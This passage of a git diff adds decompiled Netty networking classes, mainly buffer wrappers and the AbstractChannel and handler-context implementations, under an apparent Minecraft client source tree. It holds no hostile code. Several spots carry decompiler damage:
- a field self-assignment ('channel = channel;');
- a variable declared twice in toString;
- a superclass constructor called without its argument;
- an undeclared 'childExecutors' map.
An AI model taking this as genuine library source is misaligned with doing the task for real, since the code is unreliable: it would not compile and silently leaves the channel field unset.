+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    wrapped.readBytes(out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, FileChannel out, long position, int length) throws IOException
+  {
+    return wrapped.getBytes(index, out, position, length);
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length) throws IOException
+  {
+    return wrapped.setBytes(index, in, position, length);
+  }
+  
+  public boolean isReadOnly()
+  {
+    return wrapped.isReadOnly();
+  }
+  
+  public ByteBuf asReadOnly()
+  {
+    return wrapped.asReadOnly();
+  }
+  
+  protected SwappedByteBuf newSwappedByteBuf()
+  {
+    return wrapped.newSwappedByteBuf();
+  }
+  
+  public CharSequence getCharSequence(int index, int length, Charset charset)
+  {
+    return wrapped.getCharSequence(index, length, charset);
+  }
+  
+  public CharSequence readCharSequence(int length, Charset charset)
+  {
+    return wrapped.readCharSequence(length, charset);
+  }
+  
+  public int setCharSequence(int index, CharSequence sequence, Charset charset)
+  {
+    return wrapped.setCharSequence(index, sequence, charset);
+  }
+  
+  public int readBytes(FileChannel out, long position, int length) throws IOException
+  {
+    return wrapped.readBytes(out, position, length);
+  }
+  
+  public int writeBytes(FileChannel in, long position, int length) throws IOException
+  {
+    return wrapped.writeBytes(in, position, length);
+  }
+  
+  public int writeCharSequence(CharSequence sequence, Charset charset)
+  {
+    return wrapped.writeCharSequence(sequence, charset);
+  }
+  
+  public CompositeByteBuf skipBytes(int length)
+  {
+    wrapped.skipBytes(length);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBoolean(boolean value)
+  {
+    wrapped.writeBoolean(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeByte(int value)
+  {
+    wrapped.writeByte(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeShort(int value)
+  {
+    wrapped.writeShort(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeMedium(int value)
+  {
+    wrapped.writeMedium(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeInt(int value)
+  {
+    wrapped.writeInt(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeLong(long value)
+  {
+    wrapped.writeLong(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeChar(int value)
+  {
+    wrapped.writeChar(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeFloat(float value)
+  {
+    wrapped.writeFloat(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeDouble(double value)
+  {
+    wrapped.writeDouble(value);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src)
+  {
+    wrapped.writeBytes(src);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src, int length)
+  {
+    wrapped.writeBytes(src, length);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    wrapped.writeBytes(src, srcIndex, length);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBytes(byte[] src)
+  {
+    wrapped.writeBytes(src);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    wrapped.writeBytes(src, srcIndex, length);
+    return this;
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuffer src)
+  {
+    wrapped.writeBytes(src);
+    return this;
+  }
+  
+  public CompositeByteBuf writeZero(int length)
+  {
+    wrapped.writeZero(length);
+    return this;
+  }
+  
+  public CompositeByteBuf retain(int increment)
+  {
+    wrapped.retain(increment);
+    return this;
+  }
+  
+  public CompositeByteBuf retain()
+  {
+    wrapped.retain();
+    return this;
+  }
+  
+  public CompositeByteBuf touch()
+  {
+    wrapped.touch();
+    return this;
+  }
+  
+  public CompositeByteBuf touch(Object hint)
+  {
+    wrapped.touch(hint);
+    return this;
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    return wrapped.nioBuffers();
+  }
+  
+  public CompositeByteBuf discardSomeReadBytes()
+  {
+    wrapped.discardSomeReadBytes();
+    return this;
+  }
+  
+  public final void deallocate()
+  {
+    wrapped.deallocate();
+  }
+  
+  public final ByteBuf unwrap()
+  {
+    return wrapped;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/WrappedUnpooledUnsafeDirectByteBuf.java b/src/minecraft/io/netty/buffer/WrappedUnpooledUnsafeDirectByteBuf.java
new file mode 100644
index 0000000..aeee20e
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/WrappedUnpooledUnsafeDirectByteBuf.java
@@ -0,0 +1,32 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class WrappedUnpooledUnsafeDirectByteBuf
+  extends UnpooledUnsafeDirectByteBuf
+{
+  WrappedUnpooledUnsafeDirectByteBuf(ByteBufAllocator alloc, long memoryAddress, int size, boolean doFree)
+  {
+    super(alloc, PlatformDependent.directBuffer(memoryAddress, size), size, doFree);
+  }
+  
+  protected void freeDirect(ByteBuffer buffer)
+  {
+    PlatformDependent.freeMemory(memoryAddress);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/AbstractChannel.java b/src/minecraft/io/netty/channel/AbstractChannel.java
new file mode 100644
index 0000000..ee7a106
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AbstractChannel.java
@@ -0,0 +1,900 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.DefaultAttributeMap;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.OneTimeTask;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.ThreadLocalRandom;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.NotYetConnectedException;
+import java.util.concurrent.RejectedExecutionException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractChannel
+  extends DefaultAttributeMap
+  implements Channel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(AbstractChannel.class);
+  
+  static final ClosedChannelException CLOSED_CHANNEL_EXCEPTION = new ClosedChannelException();
+  static final NotYetConnectedException NOT_YET_CONNECTED_EXCEPTION = new NotYetConnectedException();
+  private MessageSizeEstimator.Handle estimatorHandle;
+  
+  static { CLOSED_CHANNEL_EXCEPTION.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    NOT_YET_CONNECTED_EXCEPTION.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+  }
+  
+
+  private final Channel parent;
+  
+  private final long hashCode = ThreadLocalRandom.current().nextLong();
+  private final Channel.Unsafe unsafe;
+  private final DefaultChannelPipeline pipeline;
+  private final ChannelFuture succeededFuture = new SucceededChannelFuture(this, null);
+  private final VoidChannelPromise voidPromise = new VoidChannelPromise(this, true);
+  private final VoidChannelPromise unsafeVoidPromise = new VoidChannelPromise(this, false);
+  private final CloseFuture closeFuture = new CloseFuture(this);
+  
+
+  private volatile SocketAddress localAddress;
+  
+  private volatile SocketAddress remoteAddress;
+  
+  private volatile EventLoop eventLoop;
+  
+  private volatile boolean registered;
+  
+  private boolean strValActive;
+  
+  private String strVal;
+  
+
+  protected AbstractChannel(Channel parent)
+  {
+    this.parent = parent;
+    unsafe = newUnsafe();
+    pipeline = new DefaultChannelPipeline(this);
+  }
+  
+  public boolean isWritable()
+  {
+    ChannelOutboundBuffer buf = unsafe.outboundBuffer();
+    return (buf != null) && (buf.isWritable());
+  }
+  
+  public Channel parent()
+  {
+    return parent;
+  }
+  
+  public ChannelPipeline pipeline()
+  {
+    return pipeline;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return config().getAllocator();
+  }
+  
+  public EventLoop eventLoop()
+  {
+    EventLoop eventLoop = this.eventLoop;
+    if (eventLoop == null) {
+      throw new IllegalStateException("channel not registered to an event loop");
+    }
+    return eventLoop;
+  }
+  
+  public SocketAddress localAddress()
+  {
+    SocketAddress localAddress = this.localAddress;
+    if (localAddress == null) {
+      try {
+        this.localAddress = (localAddress = unsafe().localAddress());
+      }
+      catch (Throwable t) {
+        return null;
+      }
+    }
+    return localAddress;
+  }
+  
+  protected void invalidateLocalAddress() {
+    localAddress = null;
+  }
+  
+  public SocketAddress remoteAddress()
+  {
+    SocketAddress remoteAddress = this.remoteAddress;
+    if (remoteAddress == null) {
+      try {
+        this.remoteAddress = (remoteAddress = unsafe().remoteAddress());
+      }
+      catch (Throwable t) {
+        return null;
+      }
+    }
+    return remoteAddress;
+  }
+  
+
+
+  protected void invalidateRemoteAddress()
+  {
+    remoteAddress = null;
+  }
+  
+  public boolean isRegistered()
+  {
+    return registered;
+  }
+  
+  public ChannelFuture bind(SocketAddress localAddress)
+  {
+    return pipeline.bind(localAddress);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress)
+  {
+    return pipeline.connect(remoteAddress);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, SocketAddress localAddress)
+  {
+    return pipeline.connect(remoteAddress, localAddress);
+  }
+  
+  public ChannelFuture disconnect()
+  {
+    return pipeline.disconnect();
+  }
+  
+  public ChannelFuture close()
+  {
+    return pipeline.close();
+  }
+  
+  public ChannelFuture deregister()
+  {
+    return pipeline.deregister();
+  }
+  
+  public Channel flush()
+  {
+    pipeline.flush();
+    return this;
+  }
+  
+  public ChannelFuture bind(SocketAddress localAddress, ChannelPromise promise)
+  {
+    return pipeline.bind(localAddress, promise);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, ChannelPromise promise)
+  {
+    return pipeline.connect(remoteAddress, promise);
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+  {
+    return pipeline.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public ChannelFuture disconnect(ChannelPromise promise)
+  {
+    return pipeline.disconnect(promise);
+  }
+  
+  public ChannelFuture close(ChannelPromise promise)
+  {
+    return pipeline.close(promise);
+  }
+  
+  public ChannelFuture deregister(ChannelPromise promise)
+  {
+    return pipeline.deregister(promise);
+  }
+  
+  public Channel read()
+  {
+    pipeline.read();
+    return this;
+  }
+  
+  public ChannelFuture write(Object msg)
+  {
+    return pipeline.write(msg);
+  }
+  
+  public ChannelFuture write(Object msg, ChannelPromise promise)
+  {
+    return pipeline.write(msg, promise);
+  }
+  
+  public ChannelFuture writeAndFlush(Object msg)
+  {
+    return pipeline.writeAndFlush(msg);
+  }
+  
+  public ChannelFuture writeAndFlush(Object msg, ChannelPromise promise)
+  {
+    return pipeline.writeAndFlush(msg, promise);
+  }
+  
+  public ChannelPromise newPromise()
+  {
+    return new DefaultChannelPromise(this);
+  }
+  
+  public ChannelProgressivePromise newProgressivePromise()
+  {
+    return new DefaultChannelProgressivePromise(this);
+  }
+  
+  public ChannelFuture newSucceededFuture()
+  {
+    return succeededFuture;
+  }
+  
+  public ChannelFuture newFailedFuture(Throwable cause)
+  {
+    return new FailedChannelFuture(this, null, cause);
+  }
+  
+  public ChannelFuture closeFuture()
+  {
+    return closeFuture;
+  }
+  
+  public Channel.Unsafe unsafe()
+  {
+    return unsafe;
+  }
+  
+
+
+
+
+
+
+
+
+  public final int hashCode()
+  {
+    return (int)hashCode;
+  }
+  
+
+
+
+
+  public final boolean equals(Object o)
+  {
+    return this == o;
+  }
+  
+  public final int compareTo(Channel o)
+  {
+    if (this == o) {
+      return 0;
+    }
+    
+    long ret = hashCode - o.hashCode();
+    if (ret > 0L) {
+      return 1;
+    }
+    if (ret < 0L) {
+      return -1;
+    }
+    
+    ret = System.identityHashCode(this) - System.identityHashCode(o);
+    if (ret != 0L) {
+      return (int)ret;
+    }
+    
+
+    throw new Error();
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    boolean active = isActive();
+    if ((strValActive == active) && (strVal != null)) {
+      return strVal;
+    }
+    
+    SocketAddress remoteAddr = remoteAddress();
+    SocketAddress localAddr = localAddress();
+    if (remoteAddr != null) { SocketAddress dstAddr;
+      SocketAddress srcAddr;
+      SocketAddress dstAddr;
+      if (parent == null) {
+        SocketAddress srcAddr = localAddr;
+        dstAddr = remoteAddr;
+      } else {
+        srcAddr = remoteAddr;
+        dstAddr = localAddr;
+      }
+      strVal = String.format("[id: 0x%08x, %s %s %s]", new Object[] { Integer.valueOf((int)hashCode), srcAddr, active ? "=>" : ":>", dstAddr });
+    } else if (localAddr != null) {
+      strVal = String.format("[id: 0x%08x, %s]", new Object[] { Integer.valueOf((int)hashCode), localAddr });
+    } else {
+      strVal = String.format("[id: 0x%08x]", new Object[] { Integer.valueOf((int)hashCode) });
+    }
+    
+    strValActive = active;
+    return strVal;
+  }
+  
+  public final ChannelPromise voidPromise()
+  {
+    return voidPromise;
+  }
+  
+  final MessageSizeEstimator.Handle estimatorHandle() {
+    if (estimatorHandle == null) {
+      estimatorHandle = config().getMessageSizeEstimator().newHandle();
+    }
+    return estimatorHandle;
+  }
+  
+
+
+  protected abstract class AbstractUnsafe
+    implements Channel.Unsafe
+  {
+    private ChannelOutboundBuffer outboundBuffer = new ChannelOutboundBuffer(AbstractChannel.this);
+    private boolean inFlush0;
+    
+    protected AbstractUnsafe() {}
+    
+    public final ChannelOutboundBuffer outboundBuffer() { return outboundBuffer; }
+    
+
+    public final SocketAddress localAddress()
+    {
+      return localAddress0();
+    }
+    
+    public final SocketAddress remoteAddress()
+    {
+      return remoteAddress0();
+    }
+    
+    public final void register(EventLoop eventLoop, final ChannelPromise promise)
+    {
+      if (eventLoop == null) {
+        throw new NullPointerException("eventLoop");
+      }
+      if (isRegistered()) {
+        promise.setFailure(new IllegalStateException("registered to an event loop already"));
+        return;
+      }
+      if (!isCompatible(eventLoop)) {
+        promise.setFailure(new IllegalStateException("incompatible event loop type: " + eventLoop.getClass().getName()));
+        
+        return;
+      }
+      
+      AbstractChannel.this.eventLoop = eventLoop;
+      
+      if (eventLoop.inEventLoop()) {
+        register0(promise);
+      } else {
+        try {
+          eventLoop.execute(new OneTimeTask()
+          {
+            public void run() {
+              AbstractChannel.AbstractUnsafe.this.register0(promise);
+            }
+          });
+        } catch (Throwable t) {
+          AbstractChannel.logger.warn("Force-closing a channel whose registration task was not accepted by an event loop: {}", AbstractChannel.this, t);
+          
+
+          closeForcibly();
+          closeFuture.setClosed();
+          safeSetFailure(promise, t);
+        }
+      }
+    }
+    
+    private void register0(ChannelPromise promise)
+    {
+      try
+      {
+        if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+          return;
+        }
+        doRegister();
+        registered = true;
+        safeSetSuccess(promise);
+        pipeline.fireChannelRegistered();
+        if (isActive()) {
+          pipeline.fireChannelActive();
+        }
+      }
+      catch (Throwable t) {
+        closeForcibly();
+        closeFuture.setClosed();
+        safeSetFailure(promise, t);
+      }
+    }
+    
+    public final void bind(SocketAddress localAddress, ChannelPromise promise)
+    {
+      if ((!promise.setUncancellable()) || (!ensureOpen(promise))) {
+        return;
+      }
+      
+
+      if ((!PlatformDependent.isWindows()) && (!PlatformDependent.isRoot()) && (Boolean.TRUE.equals(config().getOption(ChannelOption.SO_BROADCAST))) && ((localAddress instanceof InetSocketAddress)) && (!((InetSocketAddress)localAddress).getAddress().isAnyLocalAddress()))
+      {
+
+
+
+
+        AbstractChannel.logger.warn("A non-root user can't receive a broadcast packet if the socket is not bound to a wildcard address; binding to a non-wildcard address (" + localAddress + ") anyway as requested.");
+      }
+      
+
+
+
+      boolean wasActive = isActive();
+      try {
+        doBind(localAddress);
+      } catch (Throwable t) {
+        safeSetFailure(promise, t);
+        closeIfClosed();
+        return;
+      }
+      
+      if ((!wasActive) && (isActive())) {
+        invokeLater(new OneTimeTask()
+        {
+          public void run() {
+            pipeline.fireChannelActive();
+          }
+        });
+      }
+      
+      safeSetSuccess(promise);
+    }
+    
+    public final void disconnect(ChannelPromise promise)
+    {
+      if (!promise.setUncancellable()) {
+        return;
+      }
+      
+      boolean wasActive = isActive();
+      try {
+        doDisconnect();
+      } catch (Throwable t) {
+        safeSetFailure(promise, t);
+        closeIfClosed();
+        return;
+      }
+      
+      if ((wasActive) && (!isActive())) {
+        invokeLater(new OneTimeTask()
+        {
+          public void run() {
+            pipeline.fireChannelInactive();
+          }
+        });
+      }
+      
+      safeSetSuccess(promise);
+      closeIfClosed();
+    }
+    
+    public final void close(final ChannelPromise promise)
+    {
+      if (!promise.setUncancellable()) {
+        return;
+      }
+      
+      if (inFlush0) {
+        invokeLater(new OneTimeTask()
+        {
+          public void run() {
+            close(promise);
+          }
+        });
+        return;
+      }
+      
+      if (closeFuture.isDone())
+      {
+        safeSetSuccess(promise);
+        return;
+      }
+      
+      boolean wasActive = isActive();
+      ChannelOutboundBuffer outboundBuffer = this.outboundBuffer;
+      this.outboundBuffer = null;
+      try
+      {
+        doClose();
+        closeFuture.setClosed();
+        safeSetSuccess(promise);
+      } catch (Throwable t) {
+        closeFuture.setClosed();
+        safeSetFailure(promise, t);
+      }
+      
+      try
+      {
+        outboundBuffer.failFlushed(AbstractChannel.CLOSED_CHANNEL_EXCEPTION);
+        outboundBuffer.close(AbstractChannel.CLOSED_CHANNEL_EXCEPTION);
+      }
+      finally {
+        if ((wasActive) && (!isActive())) {
+          invokeLater(new OneTimeTask()
+          {
+            public void run() {
+              pipeline.fireChannelInactive();
+            }
+          });
+        }
+        
+        deregister(voidPromise());
+      }
+    }
+    
+    public final void closeForcibly()
+    {
+      try {
+        doClose();
+      } catch (Exception e) {
+        AbstractChannel.logger.warn("Failed to close a channel.", e);
+      }
+    }
+    
+    public final void deregister(ChannelPromise promise)
+    {
+      if (!promise.setUncancellable()) {
+        return;
+      }
+      
+      if (!registered) {
+        safeSetSuccess(promise);
+        return;
+      }
+      try
+      {
+        doDeregister();
+      } catch (Throwable t) {
+        AbstractChannel.logger.warn("Unexpected exception occurred while deregistering a channel.", t);
+      } finally {
+        if (registered) {
+          registered = false;
+          invokeLater(new OneTimeTask()
+          {
+            public void run() {
+              pipeline.fireChannelUnregistered();
+            }
+          });
+          safeSetSuccess(promise);
+
+        }
+        else
+        {
+          safeSetSuccess(promise);
+        }
+      }
+    }
+    
+    public final void beginRead()
+    {
+      if (!isActive()) {
+        return;
+      }
+      try
+      {
+        doBeginRead();
+      } catch (Exception e) {
+        invokeLater(new OneTimeTask()
+        {
+          public void run() {
+            pipeline.fireExceptionCaught(e);
+          }
+        });
+        close(voidPromise());
+      }
+    }
+    
+    public final void write(Object msg, ChannelPromise promise)
+    {
+      ChannelOutboundBuffer outboundBuffer = this.outboundBuffer;
+      if (outboundBuffer == null)
+      {
+
+
+
+        safeSetFailure(promise, AbstractChannel.CLOSED_CHANNEL_EXCEPTION);
+        
+        ReferenceCountUtil.release(msg); return;
+      }
+      
+      int size;
+      try
+      {
+        msg = filterOutboundMessage(msg);
+        size = estimatorHandle().size(msg);
+        if (size < 0) {
+          size = 0;
+        }
+      } catch (Throwable t) {
+        safeSetFailure(promise, t);
+        ReferenceCountUtil.release(msg);
+        return;
+      }
+      
+      outboundBuffer.addMessage(msg, size, promise);
+    }
+    
+    public final void flush()
+    {
+      ChannelOutboundBuffer outboundBuffer = this.outboundBuffer;
+      if (outboundBuffer == null) {
+        return;
+      }
+      
+      outboundBuffer.addFlush();
+      flush0();
+    }
+    
+    protected void flush0() {
+      if (inFlush0)
+      {
+        return;
+      }
+      
+      ChannelOutboundBuffer outboundBuffer = this.outboundBuffer;
+      if ((outboundBuffer == null) || (outboundBuffer.isEmpty())) {
+        return;
+      }
+      
+      inFlush0 = true;
+      
+
+      if (!isActive()) {
+        try {
+          if (isOpen()) {
+            outboundBuffer.failFlushed(AbstractChannel.NOT_YET_CONNECTED_EXCEPTION);
+          } else {
+            outboundBuffer.failFlushed(AbstractChannel.CLOSED_CHANNEL_EXCEPTION);
+          }
+        } finally {
+          inFlush0 = false;
+        }
+        return;
+      }
+      try
+      {
+        doWrite(outboundBuffer);
+      } catch (Throwable t) {
+        outboundBuffer.failFlushed(t);
+        if (((t instanceof IOException)) && (config().isAutoClose())) {
+          close(voidPromise());
+        }
+      } finally {
+        inFlush0 = false;
+      }
+    }
+    
+    public final ChannelPromise voidPromise()
+    {
+      return unsafeVoidPromise;
+    }
+    
+    protected final boolean ensureOpen(ChannelPromise promise) {
+      if (isOpen()) {
+        return true;
+      }
+      
+      safeSetFailure(promise, AbstractChannel.CLOSED_CHANNEL_EXCEPTION);
+      return false;
+    }
+    
+
+
+    protected final void safeSetSuccess(ChannelPromise promise)
+    {
+      if ((!(promise instanceof VoidChannelPromise)) && (!promise.trySuccess())) {
+        AbstractChannel.logger.warn("Failed to mark a promise as success because it is done already: {}", promise);
+      }
+    }
+    
+
+
+    protected final void safeSetFailure(ChannelPromise promise, Throwable cause)
+    {
+      if ((!(promise instanceof VoidChannelPromise)) && (!promise.tryFailure(cause))) {
+        AbstractChannel.logger.warn("Failed to mark a promise as failure because it's done already: {}", promise, cause);
+      }
+    }
+    
+    protected final void closeIfClosed() {
+      if (isOpen()) {
+        return;
+      }
+      close(voidPromise());
+    }
+    
+
+
+
+
+
+
+
+
+
+    private void invokeLater(Runnable task)
+    {
+      try
+      {
+        eventLoop().execute(task);
+      } catch (RejectedExecutionException e) {
+        AbstractChannel.logger.warn("Can't invoke task later as EventLoop rejected it", e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected Object filterOutboundMessage(Object msg)
+    throws Exception { return msg; }
+  
+  protected abstract AbstractUnsafe newUnsafe();
+  
+  protected abstract boolean isCompatible(EventLoop paramEventLoop);
+  
+  static final class CloseFuture extends DefaultChannelPromise { CloseFuture(AbstractChannel ch) { super(); }
+    
+
+    public ChannelPromise setSuccess()
+    {
+      throw new IllegalStateException();
+    }
+    
+    public ChannelPromise setFailure(Throwable cause)
+    {
+      throw new IllegalStateException();
+    }
+    
+    public boolean trySuccess()
+    {
+      throw new IllegalStateException();
+    }
+    
+    public boolean tryFailure(Throwable cause)
+    {
+      throw new IllegalStateException();
+    }
+    
+    boolean setClosed() {
+      return super.trySuccess();
+    }
+  }
+  
+  protected abstract SocketAddress localAddress0();
+  
+  protected abstract SocketAddress remoteAddress0();
+  
+  protected void doRegister()
+    throws Exception
+  {}
+  
+  protected abstract void doBind(SocketAddress paramSocketAddress)
+    throws Exception;
+  
+  protected abstract void doDisconnect()
+    throws Exception;
+  
+  protected abstract void doClose()
+    throws Exception;
+  
+  protected void doDeregister()
+    throws Exception
+  {}
+  
+  protected abstract void doBeginRead()
+    throws Exception;
+  
+  protected abstract void doWrite(ChannelOutboundBuffer paramChannelOutboundBuffer)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/AbstractChannelHandlerContext.java b/src/minecraft/io/netty/channel/AbstractChannelHandlerContext.java
new file mode 100644
index 0000000..26abfa4
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AbstractChannelHandlerContext.java
@@ -0,0 +1,1000 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.DefaultAttributeMap;
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.EventExecutorGroup;
+import io.netty.util.internal.OneTimeTask;
+import io.netty.util.internal.RecyclableMpscLinkedQueueNode;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import java.net.SocketAddress;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractChannelHandlerContext
+  extends DefaultAttributeMap
+  implements ChannelHandlerContext
+{
+  volatile AbstractChannelHandlerContext next;
+  volatile AbstractChannelHandlerContext prev;
+  private final boolean inbound;
+  private final boolean outbound;
+  private final AbstractChannel channel;
+  private final DefaultChannelPipeline pipeline;
+  private final String name;
+  private boolean removed;
+  final EventExecutor executor;
+  private ChannelFuture succeededFuture;
+  private volatile Runnable invokeChannelReadCompleteTask;
+  private volatile Runnable invokeReadTask;
+  private volatile Runnable invokeChannelWritableStateChangedTask;
+  private volatile Runnable invokeFlushTask;
+  
+  AbstractChannelHandlerContext(DefaultChannelPipeline pipeline, EventExecutorGroup group, String name, boolean inbound, boolean outbound)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    channel = channel;
+    this.pipeline = pipeline;
+    this.name = name;
+    
+    if (group != null)
+    {
+
+      EventExecutor childExecutor = (EventExecutor)childExecutors.get(group);
+      if (childExecutor == null) {
+        childExecutor = group.next();
+        childExecutors.put(group, childExecutor);
+      }
+      executor = childExecutor;
+    } else {
+      executor = null;
+    }
+    
+    this.inbound = inbound;
+    this.outbound = outbound;
+  }
+  
+  void teardown()
+  {
+    EventExecutor executor = executor();
+    if (executor.inEventLoop()) {
+      teardown0();
+    } else {
+      executor.execute(new Runnable()
+      {
+        public void run() {
+          AbstractChannelHandlerContext.this.teardown0();
+        }
+      });
+    }
+  }
+  
+  private void teardown0() {
+    AbstractChannelHandlerContext prev = this.prev;
+    if (prev != null) {
+      synchronized (pipeline) {
+        pipeline.remove0(this);
+      }
+      prev.teardown();
+    }
+  }
+  
+  public Channel channel()
+  {
+    return channel;
+  }
+  
+  public ChannelPipeline pipeline()
+  {
+    return pipeline;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return channel().config().getAllocator();
+  }
+  
+  public EventExecutor executor()
+  {
+    if (executor == null) {
+      return channel().eventLoop();
+    }
+    return executor;
+  }
+  
+
+  public String name()
+  {
+    return name;
+  }
+  
+  public ChannelHandlerContext fireChannelRegistered()
+  {
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelRegistered();
+    } else {
+      executor.execute(new OneTimeTask()
+      {
+        public void run() {
+          next.invokeChannelRegistered();
+        }
+      });
+    }
+    return this;
+  }
+  
+  private void invokeChannelRegistered() {
+    try {
+      ((ChannelInboundHandler)handler()).channelRegistered(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireChannelUnregistered()
+  {
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelUnregistered();
+    } else {
+      executor.execute(new OneTimeTask()
+      {
+        public void run() {
+          next.invokeChannelUnregistered();
+        }
+      });
+    }
+    return this;
+  }
+  
+  private void invokeChannelUnregistered() {
+    try {
+      ((ChannelInboundHandler)handler()).channelUnregistered(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireChannelActive()
+  {
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelActive();
+    } else {
+      executor.execute(new OneTimeTask()
+      {
+        public void run() {
+          next.invokeChannelActive();
+        }
+      });
+    }
+    return this;
+  }
+  
+  private void invokeChannelActive() {
+    try {
+      ((ChannelInboundHandler)handler()).channelActive(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireChannelInactive()
+  {
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelInactive();
+    } else {
+      executor.execute(new OneTimeTask()
+      {
+        public void run() {
+          next.invokeChannelInactive();
+        }
+      });
+    }
+    return this;
+  }
+  
+  private void invokeChannelInactive() {
+    try {
+      ((ChannelInboundHandler)handler()).channelInactive(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireExceptionCaught(final Throwable cause)
+  {
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    
+    final AbstractChannelHandlerContext next = this.next;
+    
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeExceptionCaught(cause);
+    } else {
+      try {
+        executor.execute(new OneTimeTask()
+        {
+          public void run() {
+            next.invokeExceptionCaught(cause);
+          }
+        });
+      } catch (Throwable t) {
+        if (DefaultChannelPipeline.logger.isWarnEnabled()) {
+          DefaultChannelPipeline.logger.warn("Failed to submit an exceptionCaught() event.", t);
+          DefaultChannelPipeline.logger.warn("The exceptionCaught() event that was failed to submit was:", cause);
+        }
+      }
+    }
+    
+    return this;
+  }
+  
+  private void invokeExceptionCaught(Throwable cause) {
+    try {
+      handler().exceptionCaught(this, cause);
+    } catch (Throwable t) {
+      if (DefaultChannelPipeline.logger.isWarnEnabled()) {
+        DefaultChannelPipeline.logger.warn("An exception was thrown by a user handler's exceptionCaught() method while handling the following exception:", cause);
+      }
+    }
+  }
+  
+
+
+  public ChannelHandlerContext fireUserEventTriggered(final Object event)
+  {
+    if (event == null) {
+      throw new NullPointerException("event");
+    }
+    
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeUserEventTriggered(event);
+    } else {
+      executor.execute(new OneTimeTask()
+      {
+        public void run() {
+          next.invokeUserEventTriggered(event);
+        }
+      });
+    }
+    return this;
+  }
+  
+  private void invokeUserEventTriggered(Object event) {
+    try {
+      ((ChannelInboundHandler)handler()).userEventTriggered(this, event);
+    } catch (Throwable t) {
